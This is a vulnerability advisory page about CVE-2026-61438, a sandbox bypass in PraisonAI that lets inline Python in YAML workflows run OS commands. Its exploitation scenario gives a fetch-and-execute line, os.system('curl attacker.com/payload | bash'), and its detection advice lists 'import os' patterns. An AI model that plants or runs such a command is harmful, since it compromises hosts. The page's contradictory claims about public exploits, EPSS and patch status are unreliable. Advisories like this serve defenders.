CVE-2026-61438: PraisonAI RCE via broken AST sandbox

Q: Is CVE-2026-61438 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-61438, increasing the risk of exploitation.

Q: How to fix CVE-2026-61438?

Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.

Q: What systems are affected by CVE-2026-61438?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic workflow orchestration, automation pipelines.

Q: What is the CVSS score for CVE-2026-61438?

CVE-2026-61438 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.31%.

CISO Take

PraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.

Sources:NVDGitHub AdvisoryCISA KEVATLASvulncheck.com

What is the risk?

High severity (CVSS 7.3) with full confidentiality, integrity, and availability impact upon exploitation, but the attack vector is local and requires user interaction plus low privileges — this caps realistic exploitation likelihood versus a network-exploitable RCE. No EPSS score, no CISA KEV listing, and no public exploit/Nuclei coverage currently exist, so near-term mass exploitation is unlikely; however, the underlying flaw — insufficient AST validation of a documented sandbox — is trivial to weaponize once an attacker gets a malicious workflow file in front of a user, and the resulting impact (arbitrary OS command execution) is total. Any organization that treats PraisonAI workflow files as a trust boundary (accepting them from users, plugins, or shared templates) should reclassify this as high risk regardless of the local attack vector.

How does the attack unfold?

Malicious workflow crafting

Attacker authors a PraisonAI YAML workflow embedding an inline Python step with import os followed by os.system() calls.

AML.T0011.000

Delivery and user execution

The malicious workflow is shared as a template and a user or admin imports it into their PraisonAI deployment.

AML.T0011

Sandbox bypass and execution

JobWorkflowExecutor._exec_inline_python() fails to catch the OS call during AST validation and runs it directly.

AML.T0050

System compromise

Arbitrary OS commands execute with the privileges of the PraisonAI process, giving the attacker a foothold for data theft or persistence.

AML.T0112.000

Malicious workflow crafting

Attacker authors a PraisonAI YAML workflow embedding an inline Python step with import os followed by os.system() calls.

AML.T0011.000

Delivery and user execution

The malicious workflow is shared as a template and a user or admin imports it into their PraisonAI deployment.

AML.T0011

Sandbox bypass and execution

JobWorkflowExecutor._exec_inline_python() fails to catch the OS call during AST validation and runs it directly.

AML.T0050

System compromise

Arbitrary OS commands execute with the privileges of the PraisonAI process, giving the attacker a foothold for data theft or persistence.

AML.T0112.000

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
PraisonAI	pip	—	No patch
1 dependents61% patched~23d to patchFull package profile →
PraisonAI	pip	< 4.6.78	`4.6.78`
1 dependents61% patched~23d to patchFull package profile →

How severe is it?

CVSS 3.1

7.3 / 10

EPSS

0.3%

chance of exploitation in 30 days

Higher than 24% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○CISA SSVC: Public PoC

○Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVLocal

ACLow

PRLow

UIRequired

SUnchanged

CHigh

IHigh

AHigh

What should I do?

1 step

Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.

What does CISA's SSVC say?

DecisionAttend

Exploitationpoc

AutomatableNo

Technical Impacttotal

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code ExecutionSupply ChainAgentPluginAML.T0011- User Execution AML.T0011.000- Unsafe AI Artifacts AML.T0050- Command and Scripting Interpreter AML.T0053- AI Agent Tool Invocation

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15-Accuracy, robustness and cybersecurity

ISO 42001

A.6.2-AI system operational security

NIST AI RMF

MANAGE-4.1-Monitor deployed AI systems for risk

OWASP LLM Top 10

LLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-61438?

PraisonAI, an AI agent orchestration framework, ships a workflow executor that runs inline Python steps from YAML files without properly validating the abstract syntax tree, letting a crafted workflow with `import os` and `os.system()` calls slip past the sandbox and execute arbitrary OS commands with the privileges of the PraisonAI process. The CVSS 7.3 score reflects severe confidentiality, integrity, and availability impact once triggered, but exploitation requires local access, low privileges, and a user to load the malicious workflow (AV:L/PR:L/UI:R) — this isn't remotely exploitable over the network without that interaction. EPSS scoring isn't available yet, the flaw isn't in CISA's KEV catalog, and no public exploit or Nuclei template exists, so there's no evidence of active exploitation; the vendor advisory (GHSA-26mh-57q7-jfvr) and VulnCheck both confirm the sandbox-bypass mechanism. With only one known downstream dependent, blast radius is currently narrow, but any team that lets users import, share, or template PraisonAI workflows — including from internal marketplaces or third-party sources — should treat this as a first-class code execution risk. Patch to PraisonAI 4.6.78 or later immediately, and until then restrict workflow YAML ingestion to trusted, reviewed sources and monitor for unexpected os.system/subprocess calls spawned by the PraisonAI process.

Is CVE-2026-61438 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-61438, increasing the risk of exploitation.

How to fix CVE-2026-61438?

Upgrade PraisonAI to 4.6.78 or later, where the AST validation gap in _exec_inline_python() is fixed. Until patched, treat all YAML workflow files as untrusted code: restrict workflow imports to a reviewed, version-controlled allowlist, disable or gate inline Python steps for non-admin users, and run PraisonAI processes with least-privilege OS accounts plus container/seccomp isolation so a sandbox bypass doesn't translate to host compromise. For detection, monitor process execution logs for os.system/subprocess/shell spawns originating from the PraisonAI process and alert on 'import os' or 'import subprocess' patterns appearing in newly loaded workflow YAML.

What systems are affected by CVE-2026-61438?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, agentic workflow orchestration, automation pipelines.

What is the CVSS score for CVE-2026-61438?

CVE-2026-61438 has a CVSS v3.1 base score of 7.3 (HIGH). The EPSS exploitation probability is 0.31%.

What is the AI security impact?

Affected AI Architectures

agent frameworksagentic workflow orchestrationautomation pipelines

MITRE ATLAS Techniques

AML.T0011User Execution

AML.T0011.000Unsafe AI Artifacts

AML.T0050Command and Scripting Interpreter

AML.T0053AI Agent Tool Invocation

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2

NIST AI RMF: MANAGE-4.1

OWASP LLM Top 10: LLM06

What are the technical details?

Original Advisory

PraisonAI before 4.6.78 contains a remote code execution vulnerability in JobWorkflowExecutor._exec_inline_python() due to insufficient AST validation of workflow script steps. Attackers can create malicious YAML workflow files with import os statements followed by os.system() calls that bypass sandbox checks and execute arbitrary OS commands with process privileges.

Exploitation Scenario

An attacker publishes a seemingly legitimate PraisonAI workflow template — e.g., an 'automated report generator' — to a public repository, forum, or internal shared drive, embedding an inline Python step with `import os` followed by `os.system('curl attacker.com/payload | bash')`. A user or admin imports the workflow into their PraisonAI deployment expecting normal automation; when the workflow runs, JobWorkflowExecutor._exec_inline_python() fails to catch the OS-level call during AST validation, and the command executes with the privileges of the PraisonAI process — giving the attacker a foothold to exfiltrate data, pivot to other systems, or establish persistence.

Weaknesses (CWE)

CWE-184Incomplete List of Disallowed InputsPrimary CWE-693Protection Mechanism FailurePrimary CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')Primary CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')Primary CWE-78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

[Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.